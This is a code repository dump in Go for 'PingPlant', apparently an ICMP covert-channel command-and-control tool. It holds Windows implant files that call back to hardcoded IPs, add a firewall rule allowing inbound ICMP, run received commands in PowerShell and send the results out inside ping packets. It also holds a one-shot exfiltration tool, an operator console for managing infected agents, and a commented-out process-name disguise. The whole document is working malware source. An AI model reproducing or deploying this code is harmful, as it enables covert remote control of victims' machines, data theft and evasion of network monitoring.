"unsafe" 22 | "strconv" 23 | 24 | // External Libs 25 | uuid "github.com/satori/go.uuid" 26 | "golang.org/x/net/icmp" 27 | "golang.org/x/net/ipv4" 28 | wapi "github.com/iamacarpet/go-win64api" 29 | 30 | //"github.com/go-ole/go-ole" 31 | //"github.com/go-ole/go-ole/oleutil" 32 | 33 | 34 | ) 35 | 36 | var ( 37 | advapi32 = syscall.NewLazyDLL("advapi32.dll") 38 | modkernel32 = syscall.NewLazyDLL("kernel32.dll") 39 | 40 | procCreateToolhelp32Snap = modkernel32.NewProc("CreateToolhelp32Snapshot") 41 | procProcess32First = modkernel32.NewProc("Process32FirstW") 42 | procProcess32Next = modkernel32.NewProc("Process32NextW") 43 | procCloseHandle = modkernel32.NewProc("CloseHandle") 44 | 45 | procGetUserNameW = advapi32.NewProc("GetUserNameW") 46 | 47 | chunk []byte // For SplitData() 48 | output string // For PingListen() 49 | 50 | outputErr error // For PingListen() 51 | ) 52 | 53 | const ( 54 | // To be used as an egg later 55 | //secretMessage = "Activate" 56 | 57 | TH32CS_SNAPPROCESS = 0x00000002 58 | 59 | 60 | serverIP = "192.168.230.134" 61 | ) 62 | 63 | 64 | // Task represents information about a running process 65 | type Task struct { 66 | Name string 67 | ID uint32 68 | } 69 | 70 | type PROCESSENTRY32 struct { 71 | Size uint32 72 | Usage uint32 73 | ProcessID uint32 74 | DefaultHeapID uintptr 75 | ModuleID uint32 76 | Threads uint32 77 | ParentProcessID uint32 78 | PriClassBase int32 79 | Flags uint32 80 | ExeFile [syscall.MAX_PATH]uint16 81 | } 82 | 83 | func createToolhelp32Snapshot(dwFlags, th32ProcessID uint32) (syscall.Handle, error) { 84 | r1, _, err := syscall.Syscall(procCreateToolhelp32Snap.Addr(), 2, uintptr(dwFlags), uintptr(th32ProcessID), 0) 85 | if r1 == 0 { 86 | return 0, err 87 | } 88 | return syscall.Handle(r1), nil 89 | } 90 | 91 | func process32First(hSnapshot syscall.Handle, pe *PROCESSENTRY32) error { 92 | r1, _, err := syscall.Syscall(procProcess32First.Addr(), 2, uintptr(hSnapshot), uintptr(unsafe.Pointer(pe)), 0) 93 | if r1 == 0 { 94 | return err 95 | } 96 | return nil 97 | } 98 | 99 | func process32Next(hSnapshot syscall.Handle, pe *PROCESSENTRY32) error { 100 | r1, _, err := syscall.Syscall(procProcess32Next.Addr(), 2, uintptr(hSnapshot), uintptr(unsafe.Pointer(pe)), 0) 101 | if r1 == 0 { 102 | return err 103 | } 104 | return nil 105 | } 106 | 107 | func closeHandle(hObject syscall.Handle) error { 108 | r1, _, err := syscall.Syscall(procCloseHandle.Addr(), 1, uintptr(hObject), 0, 0) 109 | if r1 == 0 { 110 | return err 111 | } 112 | return nil 113 | } 114 | 115 | // GetRunningTaskList returns a slice of Task structures representing running processes 116 | func GetRunningTaskList() ([]Task, error) { 117 | const ( 118 | PROCESS_QUERY_INFORMATION = 0x0400 119 | ) 120 | 121 | snapshot, err := createToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 122 | if err != nil { 123 | return nil, fmt.Errorf("Error creating process snapshot: %v", err) 124 | } 125 | defer closeHandle(snapshot) 126 | 127 | var taskList []Task 128 | var pe PROCESSENTRY32 129 | pe.Size = uint32(unsafe.Sizeof(pe)) 130 | 131 | err = process32First(snapshot, &pe) 132 | if err != nil { 133 | return nil, fmt.Errorf("Error getting first process: %v", err) 134 | } 135 | 136 | for { 137 | taskList = append(taskList, Task{ 138 | Name: syscall.UTF16ToString(pe.ExeFile[:]), 139 | ID: pe.ProcessID, 140 | }) 141 | 142 | err = process32Next(snapshot, &pe) 143 | if err != nil { 144 | break 145 | } 146 | } 147 | 148 | return taskList, nil 149 | } 150 | 151 | func FormatTaskList(taskList []Task) string { 152 | result := "Process Name Process ID\n" 153 | result += "----------------------------------------\n" 154 | for _, task := range taskList { 155 | result += fmt.Sprintf("%-30s %d\n", task.Name, task.ID) 156 | } 157 | return result 158 | } 159 | 160 | 161 | func getUserName() (string, error) { 162 | var size uint32 163 | success, _, err := syscall.Syscall(procGetUserNameW.Addr(), 2, uintptr(0), uintptr(unsafe.Pointer(&size)), 0) 164 | if success == 0 { 165 | if err != syscall.ERROR_INSUFFICIENT_BUFFER { 166 | return "", fmt.Errorf("GetUserNameW failed: %v", err) 167 | } 168 | } 169 | 170 | buffer := make([]uint16, size) 171 | success, _, err = syscall.Syscall(procGetUserNameW.Addr(), 2, uintptr(unsafe.Pointer(&buffer[0])), uintptr(unsafe.Pointer(&size)), 0) 172 | if success == 0 { 173 | return "", fmt.Errorf("GetUserNameW failed: %v", err) 174 | } 175 | 176 | return syscall.UTF16ToString(buffer), nil 177 | } 178 | 179 | 180 | func NewCallBack() { 181 | agentUuid := (uuid.NewV4()).String() 182 | data := EncodeData(agentUuid) 183 | SendData(data, 3) 184 | return 185 | } 186 | 187 | // SplitData is a function that will just take in a byte array and return it into a multi dimensional array 188 | func SplitData(buf []byte, lim int) [][]byte { 189 | chunks := make([][]byte, 0, len(buf)/lim+1) 190 | for len(buf) >= lim { 191 | chunk, buf = buf[:lim], buf[lim:] 192 | chunks = append(chunks, chunk) 193 | } 194 | if len(buf) > 0 { 195 | chunks = append(chunks, buf[:len(buf)]) 196 | } 197 | return chunks 198 | } 199 | 200 | // EncodeData is a function that takes in a byte array and Encodes it into a b64 string 201 | func EncodeData(input string) string { 202 | data := base64.StdEncoding.EncodeToString([]byte(input)) 203 | return data 204 | } 205 | 206 | // SendData is a function that handles the sending of ICMP data within the payload header 207 | // it takes in a string (should be b64'd) and a seq number (not really needed but good to include based on RFC). 208 | func SendData(data string, seq int) { 209 | conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") 210 | if err != nil { 211 | log.Fatal(err) 212 | } 213 | 214 | wm := icmp.Message{ 215 | Type: ipv4.ICMPTypeEchoReply, Code: 0, 216 | Body: &icmp.Echo{ 217 | ID: os.Getpid() & 0xffff, Seq: seq, 218 | Data: []byte(data), 219 | }, 220 | } 221 | 222 | wb, err := wm.Marshal(nil) 223 | if err != nil { 224 | log.Fatal(err) 225 | } 226 | if _, err := conn.WriteTo(wb, &net.IPAddr{IP: net.ParseIP(serverIP)}); err != nil { 227 | log.Fatalf("WriteTo err, %s", err) 228 | } 229 | 230 | } 231 | 232 | // PingListen is a function that handles the "server" portion of the implant 233 | // Which will just listen for ICMP traffic, parse it, decode it, and then send it to a new powershell process 234 | // in which it will then execute the command it received, encode it, and send it out 235 | // Added a chunking portion that handles large data outputs 236 | func PingListen(buf []byte, packetData int) { 237 | 238 | src := buf[8:packetData] 239 | 240 | hexToString := hex.EncodeToString(src) 241 | 242 | hexDecode, _ := hex.DecodeString(hexToString) 243 | 244 | base64Text := make([]byte, base64.StdEncoding.DecodedLen(len(hexDecode))) 245 | decode, _ := base64.StdEncoding.Decode(base64Text, []byte(hexDecode)) 246 | 247 | command := base64Text[:decode] 248 | if string(command) == "whoami" { 249 | output, outputErr = getUserName() 250 | if outputErr != nil { 251 | fmt.Printf("Error: %v\n", outputErr) 252 | } 253 | } else if string(command) == "tasklist" { 254 | taskList, err := GetRunningTaskList() 255 | if err != nil { 256 | fmt.Println("Error:", err) 257 | return 258 | } 259 | 260 | output = FormatTaskList(taskList) 261 | 262 | } else if string(command) == "ls" { 263 | files, err := os.ReadDir(".") 264 | if err != nil { 265 | fmt.Println("Error:", err) 266 | return 267 | } 268 | 269 | currentDir, _ := os.Getwd() 270 | details := fmt.Sprintf("Dir listing for: %s\r\n\r\n", currentDir) 271 | for _, dir := range files { 272 | var f os.FileInfo 273 | f, err = dir.Info() 274 | if err != nil { 275 | details += fmt.Sprintf("\nthere was an error getting file info for directory '%s'\n", dir) 276 | } 277 | perms := f.Mode().String() 278 | size := strconv.FormatInt(f.Size(), 10) 279 | modTime := f.ModTime().String()[0:19] 280 | name := f.Name() 281 | details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n" 282 | } 283 | output = details 284 | 285 | 286 | } else if strings.Contains(string(command), "run") { 287 | cmdTrim := strings.TrimLeft(string(command), "run") 288 | execOutput, _ := exec.Command("powershell.exe", "/c", cmdTrim).Output() 289 | output = string(execOutput) 290 | 291 | } else { 292 | output = "Unknown Command" 293 | } 294 | 295 | //output, _ := exec.Command("powershell.exe", "/c", string(command)).Output() 296 | 297 | //data := EncodeData(string(output)) 298 | //SendData(data, 3) 299 | 300 | 301 | if len(output) > 6144 { 302 | chunked := SplitData([]byte(output), 6144) 303 | for _, row := range chunked { 304 | data := EncodeData(string(row)) 305 | SendData(data, 3) 306 | time.Sleep(2 * time.Second) 307 | } 308 | 309 | } else { 310 | 311 | data := EncodeData(string(output)) 312 | SendData(data, 3) 313 | } 314 | 315 | } 316 | 317 | func init() { 318 | NewCallBack() 319 | } 320 | 321 | func main() { 322 | 323 | 324 | 325 | // Enable ICMP Inbound 326 | r := wapi.FWRule{ 327 | Name: "Allow ICMP Inbound", 328 | Description: "Start answering ICMP requests", 329 | Grouping: "", 330 | Enabled: true, 331 | Protocol: wapi.NET_FW_IP_PROTOCOL_ICMPv4, 332 | Action: wapi.NET_FW_ACTION_ALLOW, 333 | ICMPTypesAndCodes: "*", // https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml#icmp-parameters-types 334 | } 335 | 336 | ok, err := wapi.FirewallRuleAddAdvanced(r) 337 | if !ok { 338 | if err != nil { 339 | fmt.Println(err) 340 | } else { 341 | fmt.Printf("FW rule with name %q already exists.\n", r.Name) 342 | } 343 | } 344 | if ok { 345 | fmt.Println("Rule added!") 346 | } 347 | 348 | // while True loop to listen for ICMP data 349 | for { 350 | 351 | protocol := "icmp" 352 | 353 | netaddr, err := net.ResolveIPAddr("ip4", "0.0.0.0") 354 | if err != nil { 355 | fmt.Printf("[-] Error in Resolve IPAddr: %s\n\n", err) 356 | } 357 | 358 | conn, err := net.ListenIP("ip4:"+protocol, netaddr) 359 | if err != nil { 360 | fmt.Printf("[-] Error in ListenIP: %s\n\n", err) 361 | } 362 | 363 | buf := make([]byte, 100000) 364 | 365 | packetData, _, err := conn.ReadFrom(buf) 366 | if err != nil { 367 | fmt.Printf("[+] Error reading packet data, %s\n\n", err) 368 | } 369 | 370 | go PingListen(buf, packetData) 371 | 372 | } 373 | } 374 | 375 | 376 | //func SplitData(data []byte, chunkSize int) [][]byte { 377 | // i := xslice.SplitToChunks(data, chunkSize) 378 | // ss := i.([][]byte) 379 | // return ss 380 | // 381 | //} 382 | 383 | /* func enableExistingFirewallRule(ruleName string) error { 384 | ole.CoInitialize(0) 385 | defer ole.CoUninitialize() 386 | 387 | unknown, err := oleutil.CreateObject("HNetCfg.FwPolicy2") 388 | if err != nil { 389 | return fmt.Errorf("Failed to create COM object: %v", err) 390 | } 391 | defer unknown.Release() 392 | 393 | firewallPolicy, err := unknown.QueryInterface(ole.IID_IDispatch) 394 | if err != nil { 395 | return fmt.Errorf("Failed to query interface: %v", err) 396 | } 397 | defer firewallPolicy.Release() 398 | 399 | rules, err := oleutil.GetProperty(firewallPolicy, "Rules") 400 | if err != nil { 401 | return fmt.Errorf("Failed to get Rules property: %v", err) 402 | } 403 | defer rules.Clear() 404 | 405 | rulesDispatch := rules.ToIDispatch() 406 | 407 | // Get the existing rule by name 408 | existingRule, err := oleutil.CallMethod(rulesDispatch, "Item", ruleName) 409 | if err != nil { 410 | return fmt.Errorf("Failed to get existing rule: %v", err) 411 | } 412 | defer existingRule.Clear() 413 | 414 | existingRuleDispatch := existingRule.ToIDispatch() 415 | 416 | // Enable the existing rule 417 | enabled, err := oleutil.PutProperty(existingRuleDispatch, "Enabled", true) 418 | if err != nil { 419 | return fmt.Errorf("Failed to set Enabled property: %v", err) 420 | } 421 | defer enabled.Clear() 422 | 423 | return nil 424 | } */ 425 | 426 | /* ruleName := "File and Printer Sharing (Echo Request - ICMPv4-In)" 427 | 428 | if err := enableExistingFirewallRule(ruleName); err != nil { 429 | fmt.Println("Error:", err) 430 | } else { 431 | fmt.Printf("Firewall rule '%s' has been enabled.\n", ruleName) 432 | } */ 433 | -------------------------------------------------------------------------------- /pingPlantSingle_win.go: -------------------------------------------------------------------------------- 1 | // This is the code for sending individual command outputs over ICMP to a pingServer 2 | // Use the params defined at the bottom to send commands to target IP 3 | 4 | package main 5 | 6 | import ( 7 | "encoding/base64" 8 | "flag" 9 | "log" 10 | "math/rand" 11 | "net" 12 | "os" 13 | "os/exec" 14 | "time" 15 | 16 | "golang.org/x/net/icmp" 17 | "golang.org/x/net/ipv4" 18 | ) 19 | 20 | const targetIP = "10.20.215.194" 21 | 22 | func GetHostname() string { 23 | hostname, _ := os.Hostname() 24 | data := base64.StdEncoding.EncodeToString([]byte(hostname)) 25 | return data 26 | } 27 | 28 | func GetDir() string { 29 | userDir, _ := os.UserHomeDir() 30 | 31 | // This is the index, removing C:\Users\ 32 | username := userDir[9:] 33 | 34 | data := base64.StdEncoding.EncodeToString([]byte(username)) 35 | return data 36 | } 37 | 38 | func EncodeData(input []byte) string { 39 | data := base64.StdEncoding.EncodeToString([]byte(input)) 40 | return data 41 | } 42 | 43 | func SendData(data string, seq int) { 44 | conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") 45 | //defer conn.Close() 46 | if err != nil { 47 | log.Fatal(err) 48 | } 49 | 50 | wm := icmp.Message{ 51 | Type: ipv4.ICMPTypeEchoReply, Code: 4, 52 | Body: &icmp.Echo{ 53 | ID: os.Getpid() & 0xffff, Seq: seq, 54 | // b64 encoded secret string, below is "Activate" 55 | //Data: []byte("QWN0aXZhdGUV"), 56 | Data: []byte(data), 57 | }, 58 | } 59 | 60 | wb, err := wm.Marshal(nil) 61 | if err != nil { 62 | log.Fatal(err) 63 | } 64 | if _, err := conn.WriteTo(wb, &net.IPAddr{IP: net.ParseIP(targetIP)}); err != nil { 65 | log.Fatalf("WriteTo err, %s", err) 66 | } 67 | 68 | } 69 | 70 | func main() { 71 | hostnameOption := flag.Bool("hostname", false, "") 72 | userOption := flag.Bool("username", false, "") 73 | commandOption := flag.String("command", "", "Command to run. Results will be sent to target over ICMP") 74 | 75 | flag.Parse() 76 | 77 | if *hostnameOption { 78 | hostname := GetHostname() 79 | SendData(hostname, 1) 80 | } 81 | 82 | if *userOption { 83 | userDir := GetDir() 84 | SendData(userDir, 2) 85 | } 86 | 87 | if *commandOption != "" { 88 | min := 0 89 | max := 700 90 | rand.Seed(time.Now().UnixNano()) 91 | seq := rand.Intn(max-min+1) + min 92 | output, _ := exec.Command("powershell.exe", "/c", *commandOption).Output() 93 | encodedOutput := EncodeData(output) 94 | SendData(encodedOutput, seq) 95 | 96 | } 97 | 98 | } 99 | -------------------------------------------------------------------------------- /pingSend.go: -------------------------------------------------------------------------------- 1 | // This is the code for the listening server that will run on attackers machine 2 | // Will wait for, parse, and send communications from targets via pingPlants 3 | 4 | // TODO: Filter comms based on targets or only parse/output certain traffic 5 | // TODO: Implement secret message for initial callback to add to a global targets map 6 | 7 | package main 8 | 9 | import ( 10 | // Base Libs 11 | "encoding/base64" 12 | "encoding/hex" 13 | "errors" 14 | "fmt" 15 | "net" 16 | "os" 17 | "strings" 18 | "bufio" 19 | 20 | // External Libs 21 | "github.com/AlecAivazis/survey/v2" 22 | "github.com/fatih/color" 23 | "github.com/manifoldco/promptui" 24 | "github.com/olekukonko/tablewriter" 25 | "github.com/rs/zerolog" 26 | "github.com/rs/zerolog/log" 27 | "github.com/satori/go.uuid" 28 | 29 | // Golang Libs 30 | "golang.org/x/net/icmp" 31 | "golang.org/x/net/ipv4" 32 | ) 33 | 34 | // targetIP is the const variable of the IP to send data to 35 | // TODO: Change to whatever agent you are interacting with 36 | const targetIP = "192.168.230.132" 37 | 38 | // To be used as an egg later 39 | //const secretMessage = "Activate" 40 | 41 | var activeAgent string 42 | var conn *icmp.PacketConn 43 | var listenErr error 44 | var buf = make([]byte, 40000) 45 | 46 | var Agents = make(map[uuid.UUID]*Agent) 47 | 48 | // Agent is a server side structure that holds information about a PingPlant Agent 49 | type Agent struct { 50 | ID uuid.UUID 51 | Platform string 52 | UserName string 53 | HostName string 54 | Ip string 55 | Pid int 56 | } 57 | 58 | // validateOptions is a function that just helps check to make sure you're choosing a correct option 59 | func validateOptions(slice []string, val string) bool { 60 | for _, item := range slice { 61 | if strings.EqualFold(item, val) { 62 | return true 63 | } 64 | } 65 | return false 66 | } 67 | func ReadData(packetData string, addr string) { 68 | //func ReadData(readbuf []byte, packetData int) { 69 | var firstCallback = true 70 | //src := readbuf[8:packetData] 71 | 72 | //hexToString := hex.EncodeToString(src) 73 | 74 | hexDecode, _ := hex.DecodeString(packetData) 75 | 76 | base64Text := make([]byte, base64.StdEncoding.DecodedLen(len(hexDecode))) 77 | 78 | decode, _ := base64.StdEncoding.Decode(base64Text, []byte(hexDecode)) 79 | 80 | agentData := base64Text[:decode] 81 | 82 | // if data contains uuid 83 | initialUuid, inituuidErr := uuid.FromString(string(agentData)) 84 | if inituuidErr != nil { 85 | firstCallback = false 86 | } 87 | if firstCallback { 88 | _, _ = NewAgentCallback(initialUuid, addr) 89 | } else { 90 | data := [][]string{ 91 | {string(agentData)}, 92 | } 93 | table := tablewriter.NewWriter(os.Stdout) 94 | table.SetHeader([]string{"Response"}) 95 | 96 | table.SetAutoWrapText(false) 97 | table.SetBorder(false) 98 | table.SetHeaderLine(true) 99 | table.AppendBulk(data) 100 | 101 | fmt.Println() 102 | table.Render() 103 | color.Set(color.FgGreen) 104 | fmt.Printf("[%s] PingPlant >> ", activeAgent) 105 | color.Unset() 106 | } 107 | return 108 | 109 | } 110 | 111 | // isAgent enumerates a map of all instantiated agents and returns true if the provided agent UUID exists 112 | func isAgent(agentID uuid.UUID) bool { 113 | for agent := range Agents { 114 | if Agents[agent].ID == agentID { 115 | return true 116 | } 117 | } 118 | return false 119 | } 120 | 121 | // PingListen is a function that handles the "server" portion of the implant 122 | // Which will just listen for ICMP traffic, parse it, decode it, and then send it to a new powershell process 123 | // in which it will then execute the command it received, encode it, and send it out 124 | // Added a chunking portion that handles large data outputs 125 | func PingListen() { 126 | 127 | conn, listenErr = icmp.ListenPacket("ip4:icmp", "0.0.0.0") 128 | if listenErr != nil { 129 | fmt.Println(listenErr) 130 | } 131 | defer conn.Close() 132 | 133 | for { 134 | n, addr, er := conn.ReadFrom(buf) 135 | if er != nil { 136 | fmt.Println(er) 137 | } 138 | sourceAddr := fmt.Sprintf("%v", addr) 139 | rm, err := icmp.ParseMessage(1, buf[:n]) 140 | if err != nil { 141 | fmt.Println(err) 142 | } 143 | 144 | body, _ := rm.Body.Marshal(0) 145 | 146 | 147 | packetStr := fmt.Sprintf("%x", body) 148 | packetData := packetStr[8:] 149 | ReadData(packetData, sourceAddr) 150 | 151 | } 152 | } 153 | 154 | func NewAgentCallback(agentUUID uuid.UUID, agentAddr string) (Agent, error) { 155 | var agent Agent 156 | 157 | log.Info().Str("Agent ID", (agentUUID).String()).Str("Agent IP", agentAddr).Msg("New Agent Checked In!") 158 | if isAgent(agentUUID) { 159 | return agent, fmt.Errorf("the %s agent already exists", agentUUID) 160 | } 161 | 162 | agent.ID = agentUUID 163 | agent.Ip = agentAddr 164 | 165 | // Add agent to global map 166 | Agents[agentUUID] = &agent 167 | return agent, nil 168 | 169 | } 170 | 171 | func EncodeData(input string) string { 172 | data := base64.StdEncoding.EncodeToString([]byte(input)) 173 | return data 174 | } 175 | 176 | func SendData(data string, seq int) { 177 | 178 | wm := icmp.Message{ 179 | Type: ipv4.ICMPTypeEchoReply, Code: 0, 180 | Body: &icmp.Echo{ 181 | ID: os.Getpid() & 0xffff, Seq: seq, 182 | Data: []byte(data), 183 | }, 184 | } 185 | 186 | wb, err := wm.Marshal(nil) 187 | 188 | if err != nil { 189 | log.Fatal().AnErr("Marshal Error", err) 190 | } 191 | if _, err := conn.WriteTo(wb, &net.IPAddr{IP: net.ParseIP(targetIP)}); err != nil { 192 | log.Fatal().AnErr("WriteTo Error", err) 193 | } 194 | 195 | } 196 | 197 | func main() { 198 | log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr}) 199 | 200 | for { 201 | 202 | options := []string{"Listen", "Help", "List", "Interact", "Exit"} 203 | validate := func(input string) error { 204 | found := validateOptions(options, input) 205 | 206 | if !found { 207 | return errors.New("invalid option") 208 | } 209 | 210 | return nil 211 | } 212 | 213 | // Each template displays the data received from the prompt with some formatting. 214 | templates := &promptui.PromptTemplates{ 215 | Prompt: "{{ . }} ", 216 | Valid: "{{ . | green }} ", 217 | Invalid: "{{ . | red }} ", 218 | Success: "{{ . | cyan }} ", 219 | } 220 | 221 | // Init Prompt 222 | prompt := promptui.Prompt{ 223 | Label: "PingPlant >>", 224 | Templates: templates, 225 | Validate: validate, 226 | } 227 | 228 | // Result holds whatever you type into the prompt 229 | result, err := prompt.Run() 230 | 231 | if err != nil { 232 | fmt.Printf("Prompt failed %v\n", err) 233 | return 234 | } 235 | 236 | if strings.EqualFold(result, "Help") { 237 | fmt.Println("") 238 | fmt.Println(color.HiYellowString("[ Valid Commands ] [ Description ]")) 239 | fmt.Println("------------------ ---------------") // Literally just aesthetic 240 | fmt.Println(" Help Display this help menu") 241 | fmt.Println(" List List all the previously checked in agents") 242 | fmt.Println(" Listen Listen for new agent callbacks") 243 | fmt.Println(" Interact Without any args, pull up a menu of agents to interact with") 244 | fmt.Println(" Exit Quit") 245 | fmt.Println(" ") 246 | 247 | } 248 | 249 | if strings.EqualFold(result, "Listen") { 250 | go PingListen() 251 | } 252 | 253 | if strings.EqualFold(result, "List") { 254 | for agents := range Agents { 255 | fmt.Println(agents) 256 | } 257 | 258 | } 259 | 260 | if strings.EqualFold(result, "Exit") { 261 | os.Exit(0) 262 | } 263 | 264 | if strings.EqualFold(result, "Interact") { 265 | var agents []string 266 | for k := range Agents { 267 | agents = append(agents, k.String()) 268 | } 269 | prompt := &survey.Select{ 270 | Message: "Choose an agent to interact with:", 271 | Options: agents, 272 | } 273 | 274 | askErr := survey.AskOne(prompt, &activeAgent) 275 | if askErr != nil { 276 | fmt.Println(askErr) 277 | return 278 | } 279 | 280 | for { 281 | reader := bufio.NewReader(os.Stdin) 282 | color.Set(color.FgGreen) 283 | fmt.Printf("[%s] PingPlant >> ", activeAgent) 284 | color.Unset() 285 | text, _ := reader.ReadString('\n') 286 | text = strings.Replace(text, "\n", "", -1) 287 | text = strings.Replace(text, "\r", "", -1) 288 | 289 | // Check if operator typed "back" meaning to go back to the main menu 290 | if text == "back" { 291 | break 292 | } 293 | 294 | data := EncodeData(text) 295 | SendData(data, 3) 296 | 297 | } 298 | } 299 | 300 | } 301 | 302 | } 303 | //protocol := "icmp" 304 | // 305 | //netaddr, err := net.ResolveIPAddr("ip4", "0.0.0.0") 306 | //if err != nil { 307 | // fmt.Printf("[-] Error in Resolve IPAddr: %s\n\n", err) 308 | //} 309 | //conn, err = net.ListenIP("ip4:"+protocol, netaddr) 310 | //if err != nil { 311 | // fmt.Printf("[-] Error in ListenIP: %s\n\n", err) 312 | //} 313 | 314 | //packetData, err := conn.Read(buf) 315 | //packetData, _, err := conn.ReadFrom(buf) 316 | //if err != nil { 317 | // fmt.Printf("[+] Error reading packet data, %s\n\n", err) 318 | //} 319 | //log.Info().Int("PingListen", packetData) 320 | 321 | 322 | /* 323 | // ChangeProcName() is a function that hooks argv[0] and renames it 324 | // This will stand out to filesystem analysis such as lsof and the /proc directory 325 | func ChangeProcName(name string) error { 326 | argv0str := (*reflect.StringHeader)(unsafe.Pointer(&os.Args[0])) 327 | argv0 := (*[1 << 30]byte)(unsafe.Pointer(argv0str.Data))[:argv0str.Len] 328 | 329 | n := copy(argv0, name) 330 | if n < len(argv0) { 331 | argv0[n] = 0 332 | } 333 | 334 | return nil 335 | } 336 | */ -------------------------------------------------------------------------------- /testcode/testinline.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo CFLAGS: -I. -D_CRT_SECURE_NO_WARNINGS 5 | #cgo LDFLAGS: -lole32 -loleaut32 -luuid 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | // Declare CLSID and IID 12 | EXTERN_C const GUID CLSID_NetFwPolicy2 = {0x4C96BE40, 0x915C, 0x11CF, {0x99, 0x3B, 0x00, 0xAA, 0x00, 0x41, 0xF7, 0x37}}; 13 | EXTERN_C const GUID IID_INetFwPolicy2 = {0x98325047, 0xC671, 0x4174, {0x8D, 0x81, 0x87, 0x2E, 0x24, 0xF5, 0x79, 0x70}}; 14 | 15 | HRESULT enableFirewallRule(const wchar_t *ruleName) { 16 | HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); 17 | if (FAILED(hr)) { 18 | return hr; 19 | } 20 | 21 | INetFwPolicy2 *fwPolicy2 = NULL; 22 | INetFwRules *fwRules = NULL; 23 | INetFwRule *fwRule = NULL; 24 | 25 | hr = CoCreateInstance( 26 | &CLSID_NetFwPolicy2, 27 | NULL, 28 | CLSCTX_INPROC_SERVER, 29 | &IID_INetFwPolicy2, 30 | (void **)&fwPolicy2 31 | ); 32 | 33 | if (FAILED(hr)) { 34 | CoUninitialize(); 35 | return hr; 36 | } 37 | 38 | hr = fwPolicy2->lpVtbl->get_Rules(fwPolicy2, &fwRules); 39 | if (FAILED(hr)) { 40 | fwPolicy2->lpVtbl->Release(fwPolicy2); 41 | CoUninitialize(); 42 | return hr; 43 | } 44 | 45 | BSTR ruleNameBstr = SysAllocString(ruleName); 46 | if (ruleNameBstr == NULL) { 47 | fwRules->lpVtbl->Release(fwRules); 48 | fwPolicy2->lpVtbl->Release(fwPolicy2); 49 | CoUninitialize(); 50 | return E_OUTOFMEMORY; 51 | } 52 | 53 | hr = fwRules->lpVtbl->Item(fwRules, ruleNameBstr, &fwRule); 54 | SysFreeString(ruleNameBstr); 55 | 56 | if (FAILED(hr)) { 57 | fwRules->lpVtbl->Release(fwRules); 58 | fwPolicy2->lpVtbl->Release(fwPolicy2); 59 | CoUninitialize(); 60 | return hr; 61 | } 62 | 63 | hr = fwRule->lpVtbl->put_Enabled(fwRule, VARIANT_TRUE); 64 | 65 | fwRule->lpVtbl->Release(fwRule); 66 | fwRules->lpVtbl->Release(fwRules); 67 | fwPolicy2->lpVtbl->Release(fwPolicy2); 68 | CoUninitialize(); 69 | 70 | return hr; 71 | } 72 | */ 73 | import "C" 74 | import ( 75 | "fmt" 76 | "unsafe" 77 | ) 78 | 79 | func enableFirewallRule(ruleName string) error { 80 | cRuleName := C.CString(ruleName) 81 | defer C.free(unsafe.Pointer(cRuleName)) 82 | 83 | hr := C.enableFirewallRule((*C.wchar_t)(unsafe.Pointer(cRuleName))) 84 | if hr != 0 { 85 | return fmt.Errorf("Failed to enable firewall rule. COM error: 0x%X", uint32(hr)) 86 | } 87 | 88 | return nil 89 | } 90 | 91 | func main() { 92 | ruleName := "File and Printer Sharing (Echo Request - ICMPv4-In)" // Replace with the actual name of your firewall rule 93 | if err := enableFirewallRule(ruleName); err != nil { 94 | fmt.Println("Error:", err) 95 | } else { 96 | fmt.Printf("Firewall rule '%s' has been enabled.\n", ruleName) 97 | } 98 | } 99 | 100 | -------------------------------------------------------------------------------- /testcode/testole.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | //"syscall" 6 | //"unsafe" 7 | 8 | "github.com/go-ole/go-ole" 9 | "github.com/go-ole/go-ole/oleutil" 10 | ) 11 | 12 | func enableExistingFirewallRule(ruleName string) error { 13 | ole.CoInitialize(0) 14 | defer ole.CoUninitialize() 15 | 16 | unknown, err := oleutil.CreateObject("HNetCfg.FwPolicy2") 17 | if err != nil { 18 | return fmt.Errorf("Failed to create COM object: %v", err) 19 | } 20 | defer unknown.Release() 21 | 22 | firewallPolicy, err := unknown.QueryInterface(ole.IID_IDispatch) 23 | if err != nil { 24 | return fmt.Errorf("Failed to query interface: %v", err) 25 | } 26 | defer firewallPolicy.Release() 27 | 28 | rules, err := oleutil.GetProperty(firewallPolicy, "Rules") 29 | if err != nil { 30 | return fmt.Errorf("Failed to get Rules property: %v", err) 31 | } 32 | defer rules.Clear() 33 | 34 | rulesDispatch := rules.ToIDispatch() 35 | 36 | // Get the existing rule by name 37 | existingRule, err := oleutil.CallMethod(rulesDispatch, "Item", ruleName) 38 | if err != nil { 39 | return fmt.Errorf("Failed to get existing rule: %v", err) 40 | } 41 | defer existingRule.Clear() 42 | 43 | existingRuleDispatch := existingRule.ToIDispatch() 44 | 45 | // Enable the existing rule 46 | enabled, err := oleutil.PutProperty(existingRuleDispatch, "Enabled", true) 47 | if err != nil { 48 | return fmt.Errorf("Failed to set Enabled property: %v", err) 49 | } 50 | defer enabled.Clear() 51 | 52 | return nil 53 | } 54 | 55 | func main() { 56 | ruleName := "File and Printer Sharing (Echo Request - ICMPv4-In)" 57 | 58 | if err := enableExistingFirewallRule(ruleName); err != nil { 59 | fmt.Println("Error:", err) 60 | } //else { 61 | //fmt.Printf("Firewall rule '%s' has been enabled.\n", ruleName) 62 | //} 63 | } 64 | 65 | -------------------------------------------------------------------------------- /testcode/whoami.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "unsafe" 7 | ) 8 | 9 | var ( 10 | advapi32 = syscall.NewLazyDLL("advapi32.dll") 11 | procGetUserNameW = advapi32.NewProc("GetUserNameW") 12 | ) 13 | 14 | func getUserName() (string, error) { 15 | var size uint32 16 | success, _, err := syscall.Syscall(procGetUserNameW.Addr(), 2, uintptr(0), uintptr(unsafe.Pointer(&size)), 0) 17 | if success == 0 { 18 | if err != syscall.ERROR_INSUFFICIENT_BUFFER { 19 | return "", fmt.Errorf("GetUserNameW failed: %v", err) 20 | } 21 | } 22 | 